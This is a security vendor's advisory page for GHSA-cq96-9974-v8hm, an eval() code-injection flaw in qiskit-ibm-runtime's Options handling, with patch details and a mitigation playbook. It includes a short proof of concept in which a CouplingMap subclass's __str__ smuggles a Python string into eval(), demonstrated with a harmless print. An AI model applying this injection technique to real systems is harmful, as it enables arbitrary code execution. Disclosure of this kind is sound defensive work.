Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
LOW severity

GHSA-cq96-9974-v8hm qiskit-ibm-runtime

LOWFix: Qiskit/qiskit-ibm-runtime@2e8c8c8

GHSA-cq96-9974-v8hm is a low-severity (CVSS 2.8) remote code execution vulnerability in qiskit-ibm-runtime. A fix is available for qiskit-ibm-runtime — see the affected versions and patch details below.

Dynamic Variable Evaluation in qiskit-ibm-runtime

Published
Mar 20, 2024
Updated
Nov 29, 2024
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 29, 2024 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected
🐍qiskit-ibm-runtime

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

An eval() method exists Options._get_program_inputs. This is bad in any case, but especially bad because Options are also used server side, so this has the potential to expose arbitrary code injection in runtime containers, now or at a later time.

Details

https://github.com/Qiskit/qiskit-ibm-runtime/blob/da94a42060f1a22e6f306227deb45b70e0075723/qiskit_ibm_runtime/options/options.py#L140

PoC

A local exploit would be something like

from qiskit import transpiler

class BadActor(transpiler.CouplingMap):
    def __str__(self):
        return "print('external code')"

Where print("external code") can be any arbitrary python code string.

Then if you did a normal workflow and used a specifically constructed CouplingMap subclass like BadActor above:

from qiskit_ibm_runtime import QiskitRuntimeService, Session, Options, Sampler
from qiskit import QuantumCircuit

cmap = BadActor.from_line(42)
service = QiskitRuntimeService()
options = Options(optimization_level=1)
options.simulator = dict(coupling_map=cmap))

bell = QuantumCircuit(2)
bell.h(0)
bell.cx(0, 1)
bell.measure_all()

with Session(service=service, backend="ibmq_qasm_simulator") as session:
    sampler = Sampler(session=session, options=options).run(bell)

This will print external code

Impact

Security vulnerability.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIqiskit-ibm-runtime0.11.0&&< 0.11.10.11.1pip install --upgrade 'qiskit-ibm-runtime==0.11.1'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for qiskit-ibm-runtime, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update qiskit-ibm-runtime to 0.11.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-cq96-9974-v8hm is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-cq96-9974-v8hm can be triaged on real exposure rather than presence alone.

Tailored to GHSA-cq96-9974-v8hm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary An `eval()` method exists `Options._get_program_inputs`. This is bad in any case, but especially bad because `Options` are also used server side, so this has the potential to expose arbitrary code injection in runtime containers, now or at a later time. ### Details https://github.com/Qiskit/qiskit-ibm-runtime/blob/da94a42060f1a22e6f306227deb45b70e0075723/qiskit_ibm_runtime/options/options.py#L140 ### PoC A local exploit would be something like ```python from qiskit import transpiler class BadActor(transpiler.CouplingMap): def __str__(self): return "print('external
O3 Security · Impact-Aware SCA

Is GHSA-cq96-9974-v8hm in your dependencies?

O3 Security finds GHSA-cq96-9974-v8hm across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-cq96-9974-v8hm: qiskit-ibm (Low 2.8) | O3 Security